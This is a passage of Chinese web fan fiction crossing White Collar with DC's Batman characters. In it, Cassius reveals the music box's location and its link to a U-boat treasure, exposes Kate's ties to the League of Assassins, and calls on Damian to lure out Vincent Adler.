河滨大道距离提姆的公寓楼并不是很远，期间他还说起一件趣事——被抓的“建筑师”，刚好也住在这儿，是隔壁豪华别墅的主人爱德华·沃克。他本身就是富豪，抢银行不为别的，单纯是兴趣爱好而已。这让尼尔不得不感慨，神经病人的思维他就是广。 很快，他们再次来到了琼太太的公寓，尼尔终于见到了这位传说中的莫兹。 莫兹跟自己预估的一样，有些矮小，长得也平平无奇。不过他的眼睛虽然小，眼神却非常灵动，配上他光洁的脑袋，整个人的长相非常符合卡修斯对技术宅的刻板印象。 “你好，卡修斯·希尔，尼尔已经和我介绍过你了，你可以叫我莫兹。” 莫兹没有像普通人初次相识那样打算和卡修斯握手，而是跃跃欲试的看着他，脸上毫不遮掩的写满了十万个为什麽。 很显然，尼尔向莫兹介绍了自己的来历，也一定将“疑似时空穿越者”这个设置告诉了对方。 就在莫兹想要立即开始他的十万个为什麽时，尼尔先一步截断了他的话头。 “我们还是先来谈谈八音盒吧。”尼尔用眼神制止了莫兹的发散思维。他知道，一旦让莫兹开始关于时空穿越这个问题的探讨，没有一两个小时，话题可能都结束不了。 “好吧。”莫兹也不生气，立即接受了尼尔的提议，先讨论八音盒的事。 三人在尼尔房间的餐桌前坐定，尼尔看向卡修斯，问道：“你说你知道八音盒在哪？” 莫兹讶异的看着尼尔：“这是占卜出来的结果吗？其实我早就想问问，关于你的占卜结果，它的依据是什麽？我觉得任何偶然都是必然，玄学也必然是科学的结果，你能告诉我到底怎麽样从三个数字推算出具体某件物体的方位的吗？……” “莫兹……”尼尔无奈地打断他。 “抱歉，你们继续，我只是太好奇了。”莫兹的语速很快，他知道自己有些兴奋过头，立即闭嘴了。 眼前的人本身就是个谜团，不但疑似时空穿越者，还是个玄学大师，每个标签都是莫兹非常感兴趣的领域。最重要的是，他从联邦监狱保释出了尼尔，单凭这一点，莫兹也认定了对方的朋友身份。所以，等这一切结束后，他很期待和对方的深入交流。 “八音盒在意大利驻纽约总领事馆。”卡修斯也没有继续卖关子，直接说，“具体位置，应该在使馆地下保险库，安保非常严密，和我们昨天路过的那家银行金库的安保级别差不多吧。” 尼尔和莫兹彻底懵了。他的声音因为震惊而微微拔高：“在大使馆？你是怎麽知道的？这也太……” 他一时找不到合适的词来形容这个消息的离谱程度。八音盒在他们上次盗窃失败后，就在市面上彻底消失，没人知道它在哪儿，上午早些时候，他甚至非常委婉的问过彼特，知不知道这个著名的八音盒的消息。彼特反问：八音盒不是在你手里吗？ 如果彼特没故意在自己面前演戏，那就说明这东西连FBI都没什麽线索。卡修斯竟然能精确到具体的存放地点。尼尔实在很难说服自己，这是他算出来的。 卡修斯听到了尼尔心潮澎湃的全部心里活动，不过他倒是很平静，在他所知道的剧情里，尼尔最终也会得到八音盒的位置，并且和莫兹、爱丽克丝一起有惊无险地把八音盒从使馆里弄了出来，他现在只不过是利用时空的“信息差”而已。 卡修斯发现，当他说出这个消息时，没有任何呼吸困难或者说不出口的表现，这让他更加确定，自己是可以向这个世界的人透露已经存在的事实的。 莫兹看上去更兴奋了，他看着卡修斯说：“难道这里的一切都是你的时空里曾经发生过的事？那麽你透露这些消息，会不会产生蝴蝶效应，最后对整个世界产生影响？” 卡修斯愣了一下。对啊，他怎麽能保证自己对剧情所做的“纠正”，对未来一定是好的影响呢？现在关于刺客联盟的那部分内容，就已经完全不在卡修斯所熟知的剧情之中了。 “我怎麽知道的不重要，尼尔。”卡修斯选择先回答尼尔的问题，思来想去，他决定将凯特和刺客联盟也许有关这件事告诉他。这不是可以轻描淡写揭过的事，尼尔和莫兹都有权知道，继续深入追查八音盒会给他们带来的危险，然后再决定要不要和自己一起干。 “你还记得凯特让人给你递的纸条吗？”卡修斯问。 尼尔下意识摸向自己的口袋，将它再次拿了出来。 “这上面沾染了一种非常特殊的香料气味。”卡修斯说。 尼尔茫然的看着他：“这是凯特常用的香，我也是凭借气味和笔迹，笃定这张纸条一定是她亲手写的。她的香水很特别，我问过她，她说是自己调的。” 卡修斯的眼神变得锐利：“你们认识的时候，她就用这款香吗？” 尼尔回忆了一下，然后摇头道：“这麽说起来，好像也不是。” “那是什麽时候？”卡修斯追问。 尼尔想了想，说：“我们确定关系之后吧。之前她有男朋友，我们在一起以后，她才换的香水。” 卡修斯点了点头，说：“我接下来要说的，你可能接受不了。” 尼尔的表情也变得慎重起来。他和莫兹对视一眼：“你说。” “这种香料，属于一个非常古老，也非常危险的杀手组织——刺客联盟。而且，是只有他们的高层内核人员才能使用的独特标识。” “刺客联盟？是那个传说他们的首领不老不死，活了6个多世纪的刺客联盟？”莫兹立即插话。 尼尔惊讶的看着莫兹。 “莫兹怎麽会知道这种事的？！” 莫兹和尼尔心有灵犀，看到尼尔这个表情，立即解释道：“我对神秘学和科学无法解释的事情都很感兴趣，这个不老不死的首领，在我心里也算是一个未解之谜吧，作为人类来说，他能活这麽久本身就是违背自然规律的，所以我一直都在怀疑这个传说的真实性……” 卡修斯点头：“如果你说的是拉尔斯·奥·古，是的，他确实活了这麽久。他更多地被知道他的人称作‘恶魔之首’。” 莫兹看他的眼神更加亮了。 “你到底是什麽人？怎麽会知道这种秘辛？”他好奇道。 但尼尔的关注点和莫兹完全不在一起，他的脸色变得苍白，卡修斯注意到，他的声音都带着些微微的颤抖：“你到底想说什麽？” 卡修斯充满怜悯的看着他：“你一见钟情的那个凯特·莫罗，很可能已经死了。和你在一起的那个，大概从一开始就是为了那个八音盒来的。” “我不相信。”尼尔说。 “如果我没猜错的话，凯特的前男友应该也已经死了，不相信的话，你可以去问问。”卡修斯充满怜悯的看着尼尔。 尼尔呆在原地，消化着这如同惊雷般的消息。 “这个世界上有这麽多香水，你怎麽知道这种香味是独属于刺客联盟的？”尼尔还是不愿相信自己深爱的凯特是刺客联盟的杀手，她那麽柔弱，怎麽可能会是一个刺客？ “因为我曾被迫在刺客联盟待了五年。我认得这些香味。”卡修斯坦然道。 尼尔许久都没说话，甚至连莫兹都对他流露出一丝畏惧的眼神。 被秘密收藏在使馆的八音盒，凯特的真实身份，刺客联盟的香料……这一切像一张巨大的，密不透风的网，瞬间将他笼罩。 他原本以为获得FBI顾问身份是迈出了一大步，却没想到一脚踏入了更深、更汹涌的暗流之中。 他和莫兹也意识到，卡修斯为什麽要告诉他们这些。 恐怕那个八音盒承载的秘密，绝不仅仅是财富那麽简单。 其实卡修斯也想知道，以刺客联盟积累了6个世纪的财富来说，八音盒所代表的宝藏实在不值得这样迂回和大费周章，除非里面有他们非得到不可的东西。 第83章 阻止钱流向不缺钱的人，人人有责！ “你为什麽要告诉我们这些？”尼尔的声音变得非常颓丧。 “向你们提前预告风险，这件事继续追查下去，很可能会有性命之忧。”卡修斯说。 刺客联盟作为国际知名的杀手组织，关于它的大部分案件，甚至是直接移交给正义联盟来处理，这又从侧面印证了其无与伦比的危险性。 这麽一说，莫兹难免带了些紧张。他是个非常注重个人隐私和安全的人，也从没直面这麽危险的对手。他忍不住看向尼尔。 “我必须找到凯特，无论是为了我们之间的感情还是真相。” “我要追查下去。”说罢，尼尔看着莫兹接着说，“但这确实很危险，你可以退出。” 莫兹看着尼尔坚定的眼神，踌躇了一会儿，很快也下定决心道：“我们是搭档，既然你决定要查下去，我也绝对不会退缩的。更何况，这件事真的很有趣。” 说着，莫兹停顿了一下，他将右手握拳，掰着指头开始细数：“神秘的宝藏，时空旅行者，不死者，身份替换者，说不定还有超能力者的参与……我这辈子可能都很难再遇到一次集齐这麽多要素的解密事件。” 然后，他下结论道：“如果参与会让我后悔一辈子，那不参与，我会一辈子后悔。所以我决定还是跟尼尔同进退。” 尼尔知道，莫兹说了这麽多，其实都是在为自己找理由，他只是不放心自己。 “你……”他有些动容地看着自己的朋友。 莫兹像是害怕他说出什麽肉麻的话似的，赶忙打断他，直接看着卡修斯说：“那麽接下来我们是要想办法去使馆把八音盒弄出来吗？考虑到外交豁免权和使馆的安保级别，这可不比进入银行金库来得容易。” 卡修斯注视着尼尔，最后一次向他确认：“你确定为了凯特要做到这种程度吗？FBI顾问的身份来之不易。一旦和刺客联盟有瓜葛的事暴露，后续可能很难得到彼特的信任。” 而且这个世界的尼尔，不用戴着电子脚镣去做FBI的顾问。如果他和彼特所带领的精英罪案组创建起了深厚的战友情谊，相信最后一定能圆满功成身退，而不用像原本的剧情那样，被逼无奈只能通过假死来获得自由。 尼尔没有立即回答，他站在窗边，阳光勾勒出他完美的侧脸轮廓，难得显出一点忧郁来。 “这不是浑水，卡修斯，这是线索——关于凯特，关于她背后的人。” “如果真正的凯特确实已经死了，我也要替她报仇。” 尼尔心里这样说。 卡修斯点了点头，从口袋里掏出一叠塔罗牌，随意切了几下牌，然后推到尼尔面前：“抽张牌吧。” 尼尔疑惑地看着他，像是在等他解释。 “看看我们这次行事的运气如何。” “这真的会对未来有启示吗？”莫兹一边低声问，一边搓着手，看上去很想帮尼尔抽牌。 尼尔从卡牌的中间抽出来一张，递给卡修斯。 【战车】正位。 牌面上的战车由两只狮身人面兽牵引，象征着意志对力量的掌控。 “还不错，是个好兆头，预示着这次我们将所向披靡。”卡修斯微微笑着说，“我就猜你手气不会差。” 毕竟情场失意的人往往在赌场上就会得意。占卜何尝不是一种对运气的赌博呢？ 莫兹看出卡修斯拿出的塔罗牌材质很特别，正当他想伸手拿一张来仔细观察的时候，卡修斯已经将牌重新收好放回了兜里。 “回答你刚才的问题。”卡修斯神秘地勾起嘴角看着莫兹。 “我们没必要偷八音盒。” “什麽？那我们现在要做什麽？”尼尔和莫兹异口同声地问道。莫兹都已经打算去调查使馆大楼的工程负责团队，先把内部结构图弄到手呢。 “我知道八音盒里有什麽。”卡修斯不打算吊他们的胃口，直接说，“那个音乐的曲谱可以转化成一个分形图，用那个图形做成的分体式天线，可以接收到一艘二战时期满载宝藏的搁浅潜艇发出的求救信号。” 莫兹张大了嘴，眼睛瞪的溜圆：“潜艇？！” 尼尔也震惊的看着他。当卡修斯说出“分型图”这个词的时候，他就有些不好的预感。 但卡修斯暂时没去管他们的反应，继续说：“那艘潜艇装着德国从欧洲各地搜刮来的珍宝，原本的目的地是阿根廷。不幸的是，开到一半，战争结束了，它搁浅在了靠近纽约海岸线的某处。潜艇使用的是短波信号，接收距离也有限，只有用这个特定的分体式天线，才能精确定位并接收到它的信号。” 尼尔喃喃地说：“你说的那个分型图……” 但莫兹已经完全没卡修斯说的离奇故事给吸引了，他的眼里闪烁着兴奋的光芒：“这都是在你的世界发生过的事吗？所以你才知道的这麽详细？真是这样的话，你直接带着我们去找潜艇不就好了？” “我不知道潜艇的具体位置。”卡修斯说，“在我的世界，我知道这件事的时候，潜艇已经被打捞上来了。” 然后他继续说：“而且开启潜艇舱门需要密码，密码不对，舱门连接着的炸药会直接爆炸，将整艘潜艇和里面的东西一起付之一炬。” “密码是什麽？” “将潜艇打捞上来的人，是文森特·阿德勒吗？” 莫兹和尼尔同时问。 莫兹立即转向尼尔，惊讶地问道：“什麽？文森特？这和他又有什麽关系？” 文森特是他们两当初合力想要诈骗的富豪，凯特曾是他的秘书，尼尔就是在文森特这儿对凯特一见钟情。 因为爱情，尼尔放弃了这次行动，但没想到文森特技高一筹，从见到尼尔的那一刻就知道他是谁，最后反而骗光了尼尔的全部钱财。从某种意义上来说，他也是尼尔职业生涯中的重要导师。 “我曾经在他的办公室见到过他摆弄过一个分型图，只是他看到我进来，立马收了起来。”尼尔回答道。 卡修斯点点头，算是肯定了尼尔的答案，之后转向莫兹，直接回答他的问题：“我不知道。爱丽克丝的祖父曾是德国二战时期的通信兵，只有他知道那个密码。” 其实是因为这个密码在剧情里只被说了一遍，时隔这麽久，他怎麽可能记得住这段剧情的细节？ “原来这才是爱丽克丝宁愿少一个人，也一定要拿到八音盒的原因。”尼尔喃喃地说。 尼尔没想到，自己遇到的对他有重要意义的两个女人，都是有目的的接近自己。 “她的祖父去世前将密码告诉了她，所以尼尔，想要顺利拿到这个宝藏，你必须得找到爱丽克丝。” 他和爱丽克丝自从那次失败的行动后，再也没有联系。但是他听说最近纽约的黑市上出现了一个西班牙古董银器卖家，奇怪的是，这批银器的买主们，买回银器后，家里都先后失窃，银器也被偷走。 尼尔知道爱丽克丝手上有一批古董银器，他能肯定这就是爱丽克丝干的。 “我可以引导彼特去调查这起银器失窃案，然后找到爱丽克丝。”尼尔说。 “密码的问题解决了，只剩下复原分型图。”莫兹说，“尼尔，你还记得那个图形长什麽样吗？” 卡修斯也充满期待的看着他。尼尔是位技艺高超的仿造大师，他对图形的记忆天生会比一般人更加敏锐。如果他记得这个图形的话，他们就可以直接复刻出来，进入最后的找潜艇环节。相信等他们找到这艘潜艇，所有的牛鬼蛇神都会跳出来。 可尼尔摇了摇头：“我只看到过一眼，能记得它是一个分型图已经很不错了，根本没看清它的具体样子。” 卡修斯沉吟一会儿，说道：“那就只好找文森特·阿德勒本人了。” “可他自从多年前做下那起震惊全国的庞氏骗局案，就像人间蒸发似的，再也没有消息了。要不我们还是按照原定计划，去使馆把八音盒偷出来吧，至少现在我们知道八音盒在哪儿，总比找一个杳无音频的人来的实际。”莫兹提议。 尼尔始终没说话。当初他向凯特表白时，对方说自己已经打算离职，跟男朋友一起回芝加哥发展的。尼尔当时失望极了，但还是强忍着失落祝福了对方。但没想到就在她和男朋友离开纽约的当天，凯特再次敲响了他住处的门，告诉她，自己和男友分手了。 当时他高兴的快疯了。 可现在回想起来，当时的凯特，好像过于淡定了。 如果卡修斯的推测是真的，那就是说，当时来找自己的凯特，已经不是他一见钟情的那个女孩了。之后和她度过的每一个快乐的白天和黑夜，都是他一个人的自我感动。 可他实在分辨不出，自己喜欢的，到底是当初那个一见钟情的姑娘，还是那个在小公寓里如胶似漆的爱人。 “那倒也不至于杳无音频。”卡修斯说。 尼尔猛地抬起头：“你能找到他？” 莫兹也好奇的问：“FBI都找不到他，你的占卜术真的能准确定位一个人的坐标？” “找他还用不着玄学。我认识一个人，如果文森特·阿德勒真的是刺客联盟的人，那麽他一定会回应这个人的召唤。” 尼尔和莫兹都好奇的看着他。等着他说出这个人的身份，但卡修斯并不打算现在就告诉他们。 “按照你说的，先让彼特帮你找到爱丽克丝。”卡修斯对着尼尔吩咐，接着他又转向莫兹，“你帮忙准备一个信号接收设备，还有就是提前准备一份宝藏的‘替换装’。” 听到他的后半句话，莫兹的眼睛都亮了起来。这是发现同道中人的兴奋。 在这个不讲道理的世界，卡修斯可不想玩什麽“把宝藏上交给国家”这一套。 相较于莫兹的兴奋，尼尔的笑容就勉强多了。 “如果文森特真的是害死凯特的凶手，我会亲手杀了他。” 尼尔在心里暗暗发誓。 卡修斯不动声色的看了他一眼。 恐怕文森特还轮不到他来杀，自己这个深受刺客联盟迫害的苦主都还没动手，他得排队。 三人商定好初步的计划，就开始分头行动，尼尔和莫兹准备造假一份关于西班牙银器失窃的卷宗，吸引彼特的注意，引导他调动资源，帮他们找到爱丽克丝，卡修斯则回到了提姆给他安排的公寓。 他从随身的行李中找到了那枚达米安给他的通信器，仔细把玩了一小会儿，终于按下了通信键。 大概五秒后，通信那头响起了那独属于达米安的，带着藐视一切的童声：“德雷克说，你逃跑了。吱吱，你可真给我丢脸，区区一个杰森·陶德就把你吓成这样。” 卡修斯：…… 我到底在期待什麽，难道还在期待米傲天对他说“你终于想起我了”吗？ 而且他忽然想知道，提姆到底是怎麽编排他的，怎麽就变成了“被杰森吓跑”这种说法。 完了，杰森那个玻璃心应该不会当真吧？自己真的不想看到猛男落泪的场景。 “怎麽不说话，遇到什麽麻烦了？” 明明是好话，但从达米安嘴里说出来，无论怎麽听，都觉得他的语气充满了嘲讽。 “TT。”达米安不耐烦的啧了声，但依旧没有挂断通信：“你要是被绑架了就咳嗽一声。” 说话间，他已经听到达米安开窗的声音了。 “你有我的坐标？” 卡修斯问。 “你以为呢？” 他听到了风声，应该是达米安从窗口跳下去的声音。 “你不会准备跑到纽约来吧？”卡修斯难以置信的问。 “我会做这麽愚蠢的事吗？”达米安嫌弃道。 “那你怎麽过来？”卡修斯对达米安的印象还停留在没钱买机票的阶段。 “父亲昨天带我认识了他的乡村朋友，肯特。肯特家的傻孩子弹跳能力超强，我可以叫他载我跳过来。”达米安一本正经的说。 卡修斯发誓，自己是真的不想笑的，除非忍不住。 “噗……” “什麽声音？”达米安警惕地问。 “哦，我不小心放了个屁。”卡修斯立刻说。 现在激怒达米安真的不是什麽好选择。只能委屈一下自己了。 “才离开我两天，你就变得和陶德一样粗俗！看来我的确需要立即把你接回来！”达米安呵斥道。 说实话，达米安一句话都没问，立即要来找自己的行为，居然让卡修斯有点感动。如果说在刺客联盟除了杰森之外，还有什麽好的回忆，大概只能是受达米安庇护的那段日子。虽然需要放弃尊严装动物，但对达米安来说，动物的待遇可比人好多了。 “不着急，达米安主人。” 卡修斯说。 达米安沉默了一瞬，然后问：“到底什麽事？” 自从回到哥谭，卡修斯可再也没用这个称调用过他，所以达米安断定，对方肯定是有求于自己。 “我确实需要你来纽约一趟，不过要稍微低调一些，骑着乔纳森跳过来这种事太超前了，还是算了吧，你可以选择正常一点的交通工具，我给你买明天的机票？” 乔纳森·肯特现在应该还没学会飞，从哥谭背着达米安跳到纽约，他真的害怕着俩孩子一不小心上了全球头条，到时候别说蝙蝠侠，恐怕超人都得来追杀自己。 达米安哼了一声：“你还没资格指挥我。” “好吧，您自己安排时间，不过希望您最好不要惊动布鲁斯。”卡修斯放软语气说。 “你想瞒着父亲做什麽勾当？事先说明，我也不会同意你和德雷克的婚事的。”达米安说。 卡修斯：…… “目前我的心里没有爱情，只想搞事业。”卡修斯立即表决心。 “仓鼠有什麽事业好搞？我不允许你去纽约开分店！”尽管他的语气依然带着讥讽，但还是能听出其中隐藏的一些轻快。 卡修斯已经对达米安说话的方式适应良好了，毕竟他见过对方是怎麽跟刺客联盟其他人说话的。 现在他已经在韦恩庄园一行人的影响下，慢慢社会化了。 “希望您帮我个忙，”在达米安再次出言讥讽前，卡修斯语速很快地说，“我需要您以刺客联盟少主的身份，帮我钓一个人出来。” “谁？”达米安原本轻快的声音不见了，瞬间变得冷酷又冷血，仿佛一下子就回归了在刺客联盟的状态，让卡修斯都忍不住颤了下。 “文森特·阿德勒，您知道这个人吗？” 达米安努力回想了一下，才回答道：“有点印象，几年前他为外祖父弄来一笔超过十亿美金的财富，成功成为刺客联盟财务团队的内核成员之一，你找他做什麽？” 卡修斯轻轻“啊”了一声。 自己的怀疑终于有了印证。所以说为什麽文森特能成功人间蒸发，连FBI都找不到他的任何蛛丝马迹，是因为他受刺客联盟庇护。 卡修斯脑子转的飞快，他迅速捋了下思路，然后说：“我怀疑他背叛了您，并且企图将联盟财产占为己有。” 他故意将潜艇里的宝藏说成“联盟财产”，他知道这最能激起达米安的兴趣。 果然，达米安的声音立刻又多了几分嗜血的冷酷。 卡修斯迅速将八音盒，德国潜艇的事有技巧的叙述了一遍。 “既然他是刺客联盟的财务执行官之一，那麽他追查的宝藏当然属于联盟，否则他怎麽会知道八音盒的秘密？”卡修斯提出他的合理猜测，随后继续道：“他身边有个叫凯特·莫罗的女人，阿德勒利用她魅惑了尼尔·卡夫瑞，一个智商超群，但一碰到凯特就降智的顶级盗贼，很明显，是想利用卡夫瑞无可比拟的开锁技术，打开潜艇舱门，得到宝藏。” “尼尔·卡夫瑞？”达米安嗤笑一声，“德雷克说你去纽约就是为了他？我实在看不出一个耽于情爱的人到底有什麽过人之处。” “他是中了凯特·莫罗的魅术！”卡修斯据理力争，“只要不涉及这个人，他还是非常聪明的！” “就像哥谭没有杏爱花粉一样，刺客联盟没有这种东西！”达米安也提高声音，“不要为他的软弱找借口！还有，谁允许你对我大喊大叫的？” 到底是谁又把杏爱花粉这件事又拿出来说的？夜翼！是不是你！我要把你开除外敷籍！ 卡修斯深呼吸几下，劝自己他还是个孩子。 调整好心态后，才心平气和地说：“好的，达米安主人，那请问你愿不愿意在不惊动您父亲的情况下，来纽约来处理这个叛徒和联盟的财产呢？” “联盟的”这个词简直像是他从牙缝里挤出来的那般。 电话那头破天荒地陷入了沉默。卡修斯能想象达米安心里的纠结——一方面是父亲的原则，另一方面是对联盟叛徒的清理和对拉尔斯“遗产”的追索。 终于，达米安的声音再次从通信那头传来，带着不属于10岁男孩的那种冷酷决断。 “我后天晚上到，准备好详细数据。还有，吱吱——”他的声音忽然又增添了几分危险，“如果这艘潜艇和里面的东西真的属于联盟，它们就是我的财产，我不允许任何人，包括你，觊觎它们。” “当然。”卡修斯毫不犹豫的回答，嘴角勾起一个几不可见的弧度，“我只是想要阻止文森特的背叛行为。” 通话结束，卡修斯收起通信器，望向远处灯火通明的纽约夜景。 找出隐藏在宝藏中的秘密是卡修斯的首要目标，如果实在没有线索，他也要阻止钱流向不缺钱的人（和政/府） 在原本的剧情中，那一船宝藏几经辗转，一大半流入了俄罗斯政/府，连阿美莉卡都没落得什麽好处，剩下一小半被莫兹隐匿了起来，作为尼尔第一次离开FBI时的依靠。 这一次，他要和尼尔以及莫兹一起，拿到全部。 三天后，尼尔，莫兹，还有一个女人——爱丽克丝，一起站在了卡修斯住的公寓的顶层天台——那里居然有个专属于提姆·德雷克-韦恩的直升机停机坪。 想到自己马上也要有钱了，卡修斯觉得一点也不嫉妒。 月光被云层屏蔽，只从缝隙透出一些朦胧的光线。 “你们说的这个神秘人，到底是谁？” 爱丽克丝被FBI追捕，现了踪迹，不得已只好寻求尼尔的帮助，这正中了他的下怀。她也是后来才知道，尼尔已经变成FBI的编外顾问，她本想立刻消失的，但还是被宝藏的消息打动了。 这个宝藏是她祖父一生的念想，也是她一直在追寻的东西，上次为了和宝藏相关的八音盒，自己差点死了。 尼尔果然会拿捏她，知道一旦说出和宝藏相关的消息，无论真假，她都一定会留下来证实。 女人的第六感告诉爱丽克丝，这次很可能是真的。当初她追查文森特·阿德勒也是为了宝藏，没想到会认识尼尔·卡夫瑞，更没想到，两人之间的孽缘竟然持续到了现在。 爱丽克丝拢了拢肩上的披肩，他们已经在冷风里等了快一个小时了，她冒出些火气，严重怀疑自己又被忽悠了。 远处渐渐响起了直升机螺旋桨高速转动的声音，原本等的已经有些累的几个人瞬间打起了精神。 直升机的声音越来越大，几人的头发和衣襟都被越来越近的气流吹得乱飞，爱丽克丝忍着骂人的冲动，腾出一只手按住自己的头发。 如果来的人找不到文森特，问不出宝藏的下落，她发誓一定要让尼尔好看。 卡修斯在得知达米安会坐直升机来的时候，心里就在吐槽，这还能算低调吗？布鲁斯真的能不知道？这个少主真的太不靠谱！ 所以他现在整个神情都透着淡淡的死感，生怕下一刻大小韦恩一起出现在自己面前，然后他的计划还没开始就结束了。 直升机缓缓悬停，还没落地，一身刺客服，身披白色罩袍的达米安已经打开舱门直接跳了下来。 卡修斯看清楚了，驾驶飞机的并不是韦恩庄园的管家，而是红头罩。 哇，真没想到，有生之年还能见到真正的兄友弟恭！感动！ 然后就看到红头罩对着地面上的所有人——主要是卡修斯本人，竖了个中指。 随后将飞机开走了。 “你说的能引出文森特的人，不会是这个小豆丁吧？”莫兹已经忍不住怪叫出声。 达米安腰间还挂着武士刀，那双绿眼睛用看垃圾的眼神扫视了一遍面前的众人，尤其是叫他“豆丁”的那个光头。 在任何人都没有防备的情况下，他的刀猛然出鞘。 “刀下留人！” 卡修斯吓得声音都劈了。 达米安的刀离莫兹的脖子大概只有半寸。莫兹的眼睛下意识的紧闭，尼尔甚至一步上前，毫不犹豫的握住了达米安手中的刀。 “对朋友倒是忠诚，看来吱吱交朋友的眼光还可以。” “手不想要了的话，你可以继续握着。”达米安冷冷地说。 尼尔看了卡修斯一眼，卡修斯赶紧点点头，示意他赶快松手。 爱丽克丝已经吓的完全不敢吭声了。主要是这个小孩浑身上下散发出一种就算杀了人也能逃脱法律制裁的可怕气息。 达米安缓缓收刀入鞘：“你该感谢遇到的是现在的我。” “一个月前，敢非议我的人，都已经投胎过好几遍了，更别说当着我的面说。” 达米安心里说。 卡修斯听的嘴角直抽抽。你要是改邪归正了，为什麽我还能听到你的心声啊少主！ 看到两边都安静下来，卡修斯轻咳一声，平静的介绍：“这位是达米安·奥·古，刺客联盟的少主，也是未来的继承人。” 三个人的瞳孔地震了。 曾经的少主，理论上的继承人。他现在已经转职当罗宾了。 卡修斯在心里补充。 “吱吱，过来。” 达米安发话了。 卡修斯：…… 算了，外人面前，还是要给少主一些面子的。 他走到了达米安身边，稍微靠后一点的位置。 剩下三个人看他的眼神都变得复杂起来。 卡修斯不是很想懂里面的含义。 达米安再次扫视众人一眼，然后将视线固定在尼尔身上。 “你就是那个被凯特·莫罗迷惑的愚人？” 尼尔的脸色不大好看，但他深深明白什麽叫识时务，于是点了点头：“是。” “在来之前，我已经向阿德勒发了召集令。相信他会带着你心心念念的女人来的。” 达米安的声音里带着一丝残忍的愉悦：“准备好见她吧。” 第84章 三年之期已到，恭迎龙王回归！（bushi 虽然卡修斯向其他三人夸下海口，说文森特一定会回应达米安的召唤，但实际上他并没有十足的把握。 现在的刺客联盟正处于群龙无首的状态，塔利亚虽然已经积极出手控制联盟势力，可卡修斯也不能确定她到底做到什麽程度。 丧钟还没死，说不定还因为泡了池水变得更强了，他一定会回到刺客联盟继续和塔利亚对联盟势力的归属进行拉锯战。更别说，拉尔斯在他600多年的漫长生涯中，也不只有塔利亚一个孩子。他的其他孩子得知拉尔斯的死讯，肯定不会将这份庞大的遗产对塔利亚拱手相让。 所以，达米安这个“联盟少主”对刺客联盟的高级干部到底还有多少作用，卡修斯是有些疑虑的。 “你和文森特约的什麽时候？”卡修斯问。 “现在。”达米安转身就准备从楼顶往下跳，“文森特·阿德勒很谨慎，他不会久等，而他也不配让我等。现在正合适。” 卡修斯本想像以前一样，拽住他的衣领阻止他的行动，但一想到在这麽多人面前，拽他的后脖颈相当影响这位刺客联盟少主刚在大家面前创建的“豆丁，但冷酷无情”的形象，只好开口喊道：“少主，咱们走电梯怎麽样？” 达米安回头扫了众人一眼。 “TT。累赘！” 莫兹战战兢兢举手：“这位……凯撒少主，我也要跟你们一起去吗？” 他向来和对手比拼的是智慧，武力值是负数啊！ 大概是“凯撒”这个称呼取悦了达米安，这次他对莫兹的态度稍微好了些：“你去干什麽？送人头吗？留在这儿继续研究我的潜艇信号天线！” 莫兹想反驳，这可不是你的潜艇，但卡修斯给他使了个眼色，聪明的莫兹接收到信号，立即闭嘴了。 “万一文森特那个叛徒发难，看顾一个吱吱就够呛，我可不能保证其他人的安全。” 谢谢你的关心，咱俩谁照顾谁还说不准呢，你有个三长两短，我滴外敷得伤心死。 卡修斯仗着现在没有人能听到他的心声，重新找到了吐槽的乐趣。 就在达米安的视线扫过爱丽克丝和尼尔的时候，尼尔先一步开口：“我跟你们去，不会给你们添麻烦的。” 达米安哼了一声：“你们俩当然要跟着，万一文森特提前打捞出了潜艇，你们俩个需要当场给我打开潜艇，我要视察我的财产。” 说罢，他看向卡修斯，警告道：“还有你，我不管你打的什麽主意，记住，他是联盟的叛徒，理应由我来处置。” 卡修斯点头同意，心里却在暗自盘算着如何在达米安下杀手前从文森特口中套出更多信息。刺客联盟的势力很明显渗透到了FBI，他要知道刺客联盟在纽约的布局，然后将线索透露给彼特·博克。 卡修斯很看好这位警员以及他的团队的能力的。从某种程度上来说，他和尼尔和布鲁斯一样，也算是拥有主角光环的人。既然文森特掌握的是刺客联盟的财务团队内核，刚好也和精英罪案组的专业对口，相信尼尔也不会放过这个复仇机会。 达米安一甩斗篷，转了个方向向电梯走去，卡修斯赶紧跟在他身边。他微微弯腰，凑在达米安身边悄悄问：“少主啊，不是我质疑你，而是这个文森特太狡猾了，你确定他会响应你的召唤吗？” 一旦摇人失败，他担心达米安会恼羞成怒地杀人灭口。 “我是以祖父的名义发出的召唤讯息，他只有两个选择，回应召唤或者等死。” 但达米安并不打算对卡修斯详细解释，只瞪了他一眼：“不要质疑我的权威！” 哦，懂了，狐假虎威。 尼尔和达米安先上了电梯，尼尔和爱丽克丝想要跟上的时候，达米安用没有出鞘的武士刀阻止了两人迈入电梯的脚步。 “你们还没有和我共乘电梯的殊荣。” 两人愣了一下，同时看向卡修斯。卡修斯摊了摊手，表示你们看我也没用。 达米安少主在面对陌生人的时候彻底放飞自我，完全不顾别人的死活。他们从公寓楼下上车（用的依然是提姆的司机）的时候，居然没等尼尔和爱丽克丝。 卡修斯委婉的问起他是不是忘了我们一共有四个人的时候，他理所当然地说：“我只说带他们去，又没说和坐同一辆车去。” “那他们怎麽找到我们？” “如果卡夫瑞真像你说的那麽聪明，当然会找得到我们。” “哼，我倒要看看被你盛赞的“聪明人”到底有多厉害。” 卡修斯明白了。原来他是在为自己夸尼尔“聪明”故意刁难对方。 兄弟，对不起，我也不知道这个少主如此有病。 卡修斯只好悄悄给尼尔发短信，把会面的具体地址告诉对方，让他们自己叫车过来。 尼尔：【知道了……刺客联盟少主的性格还挺……率真的。】 不愧是尼尔·卡夫瑞，多麽高情商的回答。 卡修斯偷偷回复：【他从小生活在一个阶级级别非常严明的，极度封建的封闭环境里，被当做未来的地球球长培养的，理解一下吧。】 看来达米安的社会化程度还没有达到及格线以上，以后还是不要轻易让他离开哥谭了吧…… 尼尔：……刺客联盟到底是什麽集体中二型社会？ 布鲁克林红鈎区的废弃码头笼罩在浓重的雾气中，远处亮着的灯塔在水汽的折射下也变成一个毛茸茸的光团，海风夹杂着柴油和铁锈的味道，偶尔还能听到几声失眠海鸥的响亮鸣叫，叫的卡修斯忽然有点想吃薯条。 卡修斯和尼尔潜伏在一堆生锈的集装箱后面，爱丽克丝则藏的更远——她担心尼尔看到凯特·莫罗后做出什麽不理智的行为，从而连累到她。她现在已经知道了，那个曾经见过的“美丽废物”——凯特·莫罗，居然是国际知名恐怖组织的杀手，和尼尔有过N夜情缘的爱丽克丝顿时觉得脖子有点凉。已经下定决心这件事结束以后，绝对和尼尔有多远离多远。 